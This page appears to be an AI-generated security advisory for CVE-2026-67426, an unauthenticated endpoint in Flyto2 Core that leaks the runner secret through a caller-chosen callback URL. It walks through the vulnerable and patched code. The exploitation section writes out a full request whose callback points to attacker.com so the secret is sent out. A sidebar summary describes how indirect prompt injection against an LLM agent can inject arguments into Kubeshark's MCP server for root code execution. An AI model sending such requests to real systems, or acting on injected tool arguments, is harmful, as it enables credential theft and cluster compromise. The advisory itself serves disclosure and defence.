CVEReports
CVEReports

Automated vulnerability intelligence platform. Comprehensive reports for high-severity CVEs generated by AI.

Product

  • Home
  • Sitemap
  • RSS Feed

Company

  • About
  • Contact
  • Privacy Policy
  • Terms of Service

© 2026 CVEReports. All rights reserved.

Made with love by Amit Schendel & Alon Barad



CVE-2026-67426

CVE-2026-67426: Unauthenticated Remote Code Execution and Secret Exfiltration in Flyto2 Core

Amit Schendel
Amit Schendel
Senior Security Researcher

Jul 30, 2026·6 min read·48 visits

Executive Summary (TL;DR)

The flyto-verification service exposed an unauthenticated endpoint that sent internal runner secrets to arbitrary callback URLs, facilitating credential exfiltration and SSRF.

CVE-2026-67426 is a critical vulnerability in Flyto2 Core prior to version 2.26.7. The standalone flyto-verification service binds to all interfaces (0.0.0.0) on port 8344 and exposes an unauthenticated POST /run endpoint. This endpoint accepts an arbitrary client-controlled callback URL and makes an outbound POST request containing the sensitive internal runner secret in the headers. Attackers can exploit this to retrieve the FLYTO_RUNNER_SECRET and perform Server-Side Request Forgery (SSRF) against internal network targets.

Vulnerability Overview

The standalone flyto-verification service is a component of the Flyto2 Core platform designed to manage and verify execution workflows for AI agents and automation systems. To coordinate activities, the verification engine exposes an API endpoint to receive execution commands. By default, this service listens on TCP port 8344 and binds to all network interfaces (0.0.0.0), exposing the service to external network zones unless explicitly restricted by host-based or network firewalls.

The service defines a POST /run API endpoint to launch verification workflows. This endpoint does not require any form of authentication in versions prior to 2.26.7. This omission creates an exposed attack surface where any network-adjacent or external caller can interact directly with the execution kernel.

Furthermore, the application accepts a client-provided callback URL parameter within the request body. Upon completing the execution task, the runner performs an outbound HTTP POST request to this callback URL to return execution state evidence. Crucially, the outgoing request includes the plaintext token FLYTO_RUNNER_SECRET in its custom headers. This combination of behaviors results in missing authentication (CWE-306), Server-Side Request Forgery (CWE-918), and insufficient protection of sensitive credentials (CWE-522).

Root Cause Analysis

The root cause of CVE-2026-67426 lies within the implementation of the run route and the subsequent post_callback helper function inside src/core/verification_service.py. The FastAPI application routing configuration lacks dependency injections or security barriers to validate the identity of the incoming HTTP request. This design assumes that the port 8344 is only accessible to trusted internal components, which is invalidated by the default network binding configuration.

When a request is submitted to the /run endpoint, the server parses the payload into a VerificationRunRequest schema. This schema includes the callback_url parameter, which is stored without sanitization or validation. The execution framework starts the validation process in the background and schedules the post_callback asynchronous function to run upon task completion.

Inside post_callback, the server instantiates an aiohttp.ClientSession and prepares to send the execution evidence. To authenticate itself to the primary engine, the runner fetches the local environment variables FLYTO_RUNNER_SECRET or FLYTO_VERIFICATION_SECRET. It appends the retrieved token value as the X-Internal-Key HTTP header. Because the application does not verify if the destination host in callback_url belongs to an authorized domain or internal IP block, it transmits this sensitive secret directly to the user-specified network destination.

Code Analysis

In vulnerable versions, the application defined the endpoint without any access controls. The snippet below highlights the original lack of validation and the subsequent patch introduced in commit 0a0a528520ec18f5a21f1ddf858a71cc1edfb6e9:

# VULNERABLE IMPLEMENTATION
@app.post("/run")
async def run(body: VerificationRunRequest):
    execution_id = f"verification-{uuid.uuid4().hex[:12]}"
    queued = VerificationRunRequest(**body.model_dump())
    # Directly starts execution without verification...

The corresponding unpatched outgoing callback routine did not perform destination checking before dispatching the sensitive header:

# VULNERABLE CALLBACK ROUTINE
async def post_callback(callback_url: str, payload: Mapping[str, Any]) -> None:
    if not callback_url:
        return
    headers = {"Content-Type": "application/json"}
    internal_key = os.environ.get("FLYTO_RUNNER_SECRET") or os.environ.get("FLYTO_VERIFICATION_SECRET")
    if internal_key:
        headers["X-Internal-Key"] = internal_key
    
    async with aiohttp.ClientSession() as session:
        # Sends token to arbitrary callback_url
        async with session.post(callback_url, json=payload, headers=headers) as resp:
            ...

To resolve this, the vendor added an explicit authentication dependency to the endpoint using FastAPI's dependency injection system, enforcing validation of the caller's identity via require_run_auth:

# PATCHED IMPLEMENTATION
def require_run_auth(x_internal_key: str = Header(default="", alias=INTERNAL_KEY_HEADER)):
    expected = (
        os.environ.get("FLYTO_VERIFICATION_API_KEY")
        or os.environ.get("FLYTO_RUNNER_SECRET")
        or os.environ.get("FLYTO_VERIFICATION_SECRET")
    )
    if not expected:
        raise HTTPException(
            status_code=503,
            detail="verification runner auth is not configured; set FLYTO_VERIFICATION_API_KEY",
        )
    if not hmac.compare_digest(x_internal_key or "", expected):
        raise HTTPException(status_code=401, detail="unauthorized")
 
@app.post("/run", dependencies=[Depends(require_run_auth)])
async def run(body: VerificationRunRequest):
    ...

The callback sequence was also fortified by introducing _callback_destination_allowed. This helper validates the callback_url against an environment-defined trusted host set (FLYTO_ENGINE_URL, FLYTO_ENGINE_CALLBACK_URL, and the FLYTO_TRUSTED_CALLBACK_HOSTS allowlist), and aborts execution if the target fails validation:

# PATCHED CALLBACK VALIDATION
async def post_callback(callback_url: str, payload: Mapping[str, Any]) -> None:
    if not callback_url:
        return
    if not _callback_destination_allowed(callback_url):
        return
    # Proceed to transmit payload...

This remediation is highly complete because it closes both vectors: it stops unauthenticated entities from initiating runs, and it restricts the outbound data path, preventing the exfiltration of the runner secret to arbitrary listener hosts.

Exploitation Methodology

Exploitation of CVE-2026-67426 requires network connectivity to TCP port 8344 on the target machine. No prior authentication, user interaction, or specific application state is required. The exploit is executed in a multi-step sequence where the attacker sets up an external listener to harvest the token.

First, the attacker starts an HTTP listener on a public IP address (e.g., http://attacker.com/log). Next, the attacker sends a crafted HTTP POST request to the target /run endpoint. The body contains arbitrary parameters for the workflow alongside the callback_url pointing to the attacker's listener:

POST /run HTTP/1.1
Host: target-host:8344
Content-Type: application/json
Content-Length: 174
 
{
    "workflowYaml": "name: dry\nsteps: []\n",
    "params": {"target_url": "https://app.flyto2.com"},
    "allowed_targets": ["https://app.flyto2.com"],
    "callback_url": "http://attacker.com/log"
}

The target runner executes the workflow. Upon completion, the runner initiates an outbound request back to the attacker's server, leaking the credentials:

POST /log HTTP/1.1
Host: attacker.com
Content-Type: application/json
X-Internal-Key: SECRET_VALUE_OF_FLYTO_RUNNER_SECRET

The attacker retrieves the value of X-Internal-Key from the request headers, gaining administrative rights to other core components of the Flyto2 ecosystem.

Impact Assessment & Compound Risks

The security impact of CVE-2026-67426 is rated as critical, yielding a CVSS score of 9.3. The loss of confidentiality is high because the administrative runner secret (FLYTO_RUNNER_SECRET) is fully exfiltrated. With this token, an attacker can authenticate to other internal microservices and core components of Flyto2 Core, potentially achieving complete system compromise.

The impact on integrity is limited (low) because the callback mechanism itself only permits unauthorized workflow invocations. The scope is changed (S:C) because exploitation allows an attacker to pivot from the verification service network layer to other secure backend environments.

Furthermore, this vulnerability must be assessed alongside two adjacent SSRF flaws fixed in version 2.26.7: GHSA-pgwh-4jj4-qm8v (missing SSRF guards in HTTP-emitting modules) and GHSA-c9hr-64h3-gxpc (redirect bypasses via 30x headers). These vulnerabilities allowed attackers to bypass primitive domain validations by issuing redirections to private loopback ranges or metadata endpoints, multiplying the impact of any outbound HTTP-emitting functionality.

Remediation and Defense-in-Depth

Remediation of CVE-2026-67426 requires upgrading flyto-core to version 2.26.7 or higher. To enforce the fix, operators must define the environment variable FLYTO_VERIFICATION_API_KEY. If this variable is absent, the verification runner fails closed and rejects incoming connection attempts on port 8344.

Furthermore, operators must define FLYTO_ENGINE_URL to point to the correct backend host, and can optionally specify a comma-separated list of safe domains in the FLYTO_TRUSTED_CALLBACK_HOSTS environment variable to strictly limit where callbacks can be transmitted.

To limit network exposure, network security policies should be enforced. Port 8344 should be restricted to internal loopback interfaces or tightly bound to private Docker/Kubernetes container subnets. It should never be accessible from the public internet.

Official Patches

flytohubFix commit implementing authentication and destination restrictions on verification runner.
flytohubOfficial release log containing the security patch.

Fix Analysis (1)

Technical Appendix

CVSS Score
9.3/ 10
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:L/A:N
EPSS Probability
0.29%
Top 79% most exploited

Affected Systems

Flyto2 Core

Affected Versions Detail

Product
Affected Versions
Fixed Version
flyto-core
flytohub
< 2.26.72.26.7
AttributeDetail
CWE IDCWE-306, CWE-918, CWE-522
Attack VectorNetwork
CVSS Base Score9.3
EPSS Score0.00291 (0.29%)
Exploit Statuspoc
KEV Statusnot listed
Affected Componentflyto-verification service (port 8344)

MITRE ATT&CK Mapping

T1190Exploit Public-Facing Application
Initial Access
T1005Data from Local System
Collection
CWE-306
Missing Authentication for Critical Function

The flyto-verification service does not require authentication on its API run route, permitting unauthorized callers to trigger actions that leak internal secrets to external callback addresses.

Known Exploits & Detection

GitHub Security AdvisoryOfficial advisory details regarding the unauthenticated run route and callback credential leak.

References & Sources

  • [1]National Vulnerability Database record for CVE-2026-67426
  • [2]CVE Program Record for CVE-2026-67426
  • [3]GitHub Security Advisory (GHSA-jx74-cqjv-2c67)
Related Vulnerabilities
CVE-2026-67426

Attack Flow Diagram

Press enter or space to select a node. You can then use the arrow keys to move the node around. Press delete to remove it and escape to cancel.
Press enter or space to select an edge. You can then press delete to remove it or escape to cancel.

More Reports

•16 minutes ago•CVE-2026-129297
7.5

CVE-2026-129297: Sender IP Address Spoofing in SpamScope mail-parser

CVE-2026-129297 is an origin validation vulnerability (CWE-345) in the Python library mail-parser prior to version 4.6.2. The MailParser.get_server_ipaddress() method fails to properly isolate MTA-recorded client IP addresses from sender-controlled text within email Received headers. Due to naive substring delimiter matching, appearance-based regular expression scanning, and fail-open header traversal, remote attackers can spoof their originating IP address to bypass email security controls, blocklists, and anti-spam attribution.

Amit Schendel
Amit Schendel
0 views•11 min read
•about 1 hour ago•CVE-2026-129299
6.5

CVE-2026-129299: Uncaught Exceptions and Silent Header Loss via Reflective Attribute Dispatch in SpamScope mail-parser

CVE-2026-129299 (GHSA-24mq-4vc6-2prf) is a parsing and serialization flaw in SpamScope mail-parser prior to version 4.6.2. The library uses reflective Python attribute resolution (getattr) over untrusted email header names and applies caller convenience transformations (such as underscore-to-hyphen folding and _json/_raw suffix stripping) directly to wire headers. An unauthenticated remote attacker can send crafted emails that trigger uncaught TypeError exceptions during JSON serialization or cause security-relevant headers and body content to be silently dropped without setting defect indicators.

Amit Schendel
Amit Schendel
2 views•11 min read
•about 2 hours ago•CVE-2026-129236
7.2

CVE-2026-129236: Command-Line Argument Injection in Kubeshark MCP Server

CVE-2026-129236 is a command-line argument injection vulnerability (CWE-88) in Kubeshark, an eBPF-based network observability tool for Kubernetes. Located within the Model Context Protocol (MCP) server implementation in cmd/mcpRunner.go, the flaw occurs when handling the start_kubeshark tool request. When the MCP server runs with the --allow-destructive flag, the callStartKubeshark function appends the caller-supplied pod_regex parameter directly to the kubeshark tap argument slice without an end-of-options (--) delimiter. Because Kubeshark uses the Cobra and pflag libraries for command-line parsing, any pod_regex value prefixed with a hyphen is interpreted as a CLI flag rather than a positional regular expression. An attacker capable of influencing MCP tool arguments, such as through indirect prompt injection against a connected Large Language Model (LLM) agent, can inject the --set flag to override Helm chart values like tap.docker.registry. Because Kubeshark deploys its worker DaemonSet with privileged security contexts and host networking enabled, redirecting the container image registry allows arbitrary code execution as root across all Kubernetes cluster nodes.

Alon Barad
Alon Barad
5 views•11 min read
•about 3 hours ago•CVE-2026-129235
5.3

CVE-2026-129235: Arbitrary File Write and Argument Injection in Kubeshark MCP Server

Kubeshark versions 53.1.0 prior to 53.4.0 contain an arbitrary file write and path traversal vulnerability (CWE-22) alongside an argument injection vulnerability (CWE-88) in the Model Context Protocol (MCP) server implementation (cmd/mcpRunner.go). The download_file tool fails to validate caller-supplied path and dest arguments, allowing an attacker who influences an AI agent driving kubeshark mcp to write Kubeshark Hub API responses to arbitrary locations writable by the local user. Additionally, the start_kubeshark tool appends the pod_regex argument without flag delimiters, allowing argument injection into the kubeshark tap subcommand.

Amit Schendel
Amit Schendel
4 views•10 min read
•about 4 hours ago•CVE-2026-129300
5.3

CVE-2026-129300: Uncaught Exception Denial of Service in SpamScope mail-parser

CVE-2026-129300 (GHSA-xhrq-2mqv-q8wx) is an unhandled exception vulnerability in SpamScope mail-parser, a Python library used to parse raw emails. When processing an email with a malformed Received header containing an out-of-range year or timezone offset, standard library datetime conversion routines raise OverflowError or OSError. Because the internal error handler only caught TypeError and ValueError, these exceptions escape the parser hierarchy, terminating email ingestion pipelines and causing a denial of service.

Alon Barad
Alon Barad
4 views•8 min read
•about 5 hours ago•CVE-2026-129301
6.5

CVE-2026-129301: Security Scanner Evasion and Batch Denial of Service in SpamScope mail-parser via Unhandled Attachment Exceptions

CVE-2026-129301 (GHSA-8cgq-x343-p74c) is an uncaught exception and MIME interpretation conflict vulnerability in the Python email parsing library mail-parser (versions >= 4.6.0 and < 4.6.3). The write_attachments() function iterates over parsed email attachments without per-attachment exception containment. When processing a specially crafted MIME part containing an RFC 2231-encoded null byte in the filename, a basename exceeding filesystem NAME_MAX limits, or a malformed base64 payload, the function raises an unhandled standard library exception (ValueError, OSError, or binascii.Error). This prematurely aborts the attachment extraction loop, preventing subsequent attachments from being written to disk for downstream security inspection while also triggering unhandled worker crashes in applications that only catch MailParserError.

Amit Schendel
Amit Schendel
5 views•11 min read